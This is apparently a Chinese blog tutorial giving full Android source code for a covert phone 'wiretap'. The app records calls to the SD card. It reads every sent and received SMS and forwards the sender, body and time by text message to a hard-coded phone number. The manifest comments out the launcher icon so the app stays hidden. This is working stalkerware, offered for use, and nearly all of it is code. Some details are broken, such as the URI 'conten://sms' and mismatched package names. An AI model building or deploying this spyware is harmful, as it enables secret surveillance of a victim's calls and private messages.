Android service 服务的应用之电话监听器以及短信监听器 – 阳阳(ysq)

首先建立一个项目工程文件,如下图所示:

首先在MainActivity.java文件启动电话和短信的界面,代码如下

1 package com.xunfang.wiretap;
2
3 import com.xunfang.observer.MyObserver;
4 import com.xunfang.services.PhoneService;
5
6 import android.support.v7.app.ActionBarActivity;
7 import android.content.Intent;
8 import android.net.Uri;
9 import android.os.Bundle;
10 import android.os.Handler;
11 import android.view.Menu;
12 import android.view.MenuItem;
13
14
15 public class MainActivity extends ActionBarActivity {
16
17 @Override
18 protected void onCreate(Bundle savedInstanceState) {
19 super.onCreate(savedInstanceState);
20 //电话
21 setContentView(R.layout.activity_main);
22 Intent intent = new Intent(this,PhoneService.class);
23 startService(intent);
24 //短信
25 Uri uri = Uri.parse(“conten://sms”);
26 getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));
27
28 }
29 @Override
30 public void onBackPressed() {
31 }
32 }

然后进入电话管理服务界面PhoeService.java界面。代码如下

1 package com.xunfang.phoneservice;
2
3 import java.io.IOException;
4
5 import android.app.Service;
6 import android.content.Intent;
7 import android.media.MediaRecorder;
8 import android.os.IBinder;
9 import android.telephony.PhoneStateListener;
10 import android.telephony.TelephonyManager;
11
12 public class PhoneService extends Service {
13
14 // 管理电话
15 private TelephonyManager tm;
16
17 private MyListener listener;
18
19 // 创建一个收音机
20 private MediaRecorder mr;
21
22 @Override
23 public IBinder onBind(Intent intent) {
24 return null;
25 }
26
27 @Override
28 public void onCreate() {
29 super.onCreate();
30 // 实例化
31 tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
32
33 // 监听电话的状态
34 listener = new MyListener();
35 // 注册监听者,监听电话的状态
36 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
37 }
38
39 private class MyListener extends PhoneStateListener {
40 @Override
41 public void onCallStateChanged(int state, String incomingNumber) {
42 super.onCallStateChanged(state, incomingNumber);
43
44 switch (state) {
45 case TelephonyManager.CALL_STATE_IDLE: // 空闲状态
46 System.out.println(“电话空闲”);
47 if (mr != null) {
48 // 说明录音机停止录音了
49 mr.stop();
50 mr.release();
51 mr = null;
52 }
53 break;
54 case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)
55 System.out.println(“通话状态”);
56 // 1.创建一个收音机
57 mr = new MediaRecorder();
58 // 2.设置音源
59 mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
60 // 3.设置录制音频的格式
61 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
62 // 4设置音频的采样率
63 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
64 // 5.设置录制的文件放置的位置
65 mr.setOutputFile(“/mnt/sdcard/xxx.avi”);
66 // 6.准备录制
67 try {
68 mr.prepare();
69 } catch( Exception e) {
70 e.printStackTrace();
71 }
72 // 7.开始录制
73 mr.start();
74
75 break;
76 case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
77 System.out.println(“响铃状态”);
78 break;
79 }
80 }
81 }
82
83 }

然后进入管理短信服务界面MyObserver.java,代码如下所示

1 package com.xunfang.observer;
2
3 import java.text.SimpleDateFormat;
4 import java.util.Date;
5
6 import android.content.ContentResolver;
7 import android.content.Context;
8 import android.database.ContentObserver;
9 import android.database.Cursor;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.telephony.SmsManager;
13
14 public class MyObserver extends ContentObserver {
15 private Context context;
16 public MyObserver(Context context,Handler handler) {
17 super(handler);
18 this.context = context;
19 }
20
21 @Override
22 public void onChange(boolean selfChange, Uri uri) {
23 ContentResolver resolver = context.getContentResolver();
24 Cursor cursor = resolver.query(uri, new String[]{“address”,”body”,”type”,”date”}, null, null, “date desc”);
25 cursor.moveToFirst();
26 String address = cursor.getString(0);
27 String body = cursor.getString(1);
28 int type = cursor.getInt(2);
29 long date = cursor.getLong(3);
30 //将日期格式化,按这个模式输出日期
31 String time = new SimpleDateFormat(“yyy-MM-dd hh:mm:ss”).format(new Date(date));
32 //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
33 if(type ==2 ){
34 String sms = “检测的到对方的手机发送信息: 地址:” + address + ” 内容:” + body + “时间 :” + time;
35 String phone = “18883278692”; //这个电话号码是你要将这个信息发送到哪个人的电话号码
36 //拿到默认短信管理器
37 SmsManager sm = SmsManager.getDefault();
38 //发送短信
39 sm.sendTextMessage(phone, null, sms, null, null) ;
40 System.out.println(“检测的到对方的手机发送信息: 地址:” + address + ” 内容:” + body + “时间 :” + time );
41 }
42 if(type == 1){
43 String sms = “检测的到对方的手机接收到的信息: 地址:” + address + ” 内容:” + body + “时间 :” + time;
44 String phone = “18883278692”; //这个电话号码是你要将这个信息发送到哪个人的电话号码
45 SmsManager sm = SmsManager.getDefault();
46 sm.sendTextMessage(phone, null, sms, null, null) ;
47 System.out.println(“检测的到对方的手机接收到的信息: 地址:” + address + ” 内容:” + body + “时间 :” + time );
48 }
49 }
50
51
52 }

代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

1 <?xml version=”1.0″ encoding=”utf-8″?>
2 <manifest xmlns:android=”http://schemas.android.com/apk/res/android”
3 package=”com.xunfang.wiretap”
4 android:versionCode=”1″
5 android:versionName=”1.0″ >
6
7 <uses-sdk
8 android:minSdkVersion=”8″
9 android:targetSdkVersion=”21″ />
10 <uses-permission android:name=”android.permission.READ_PHONE_STATE”/>
11 <uses-permission android:name=”android.permission.RECORD_AUDIO”/>
12 <uses-permission android:name=”android.permission.RECEIVE_BOOT_COMPLETED”/>
13 <uses-permission android:name=”android.permission.INTERNET”/>
14 <uses-permission android:name=”android.permission.WRITE_EXTERNAL_STORAGE”/>
15 <uses-permission android:name=”android.permission.MOUNT_UNMOUNT_FILESYSTEMS”/>
16 <uses-permission android:name=”android.permission.WRITE_SMS”/>
17 <uses-permission android:name=”android.permission.READ_SMS”/>
18 <uses-permission android:name=”android.permission.SEND_SMS”/>
19
20 <application
21 android:allowBackup=”true”
22 android:icon=”@drawable/ic_launcher”
23 android:label=”@string/app_name”
24 android:theme=”@style/AppTheme” >
25 <!– <activity
26 android:name=”.MainActivity”
27 android:label=”@string/app_name” >
28 <intent-filter>
29 <action android:name=”android.intent.action.MAIN” />
30
31 <category android:name=”android.intent.category.LAUNCHER” />
32 </intent-filter>
33 </activity> –>
34 <service
35 android:name=”com.xunfang.services.PhoneService”></service>
36 <receiver
37 android:name=”com.xunfang.broadrecevice.MyBroadReceiver”
38 >
39 <intent-filter >
40 <action
41 android:name=”android.intent.action.NEW_OUTGOING_CALL”
42 />
43 </intent-filter>
44 </receiver>
45 </application>
46
47 </manifest>

到这里已经全部配置完成,可以用真实机进行测试。

 

本文链接:Android service 服务的应用之电话监听器以及短信监听器,转载请注明。



You must enable javascript to see captcha here!

Copyright © All Rights Reserved · Green Hope Theme by Sivan & schiy · Proudly powered by WordPress

无觅相关文章插件,快速提升流量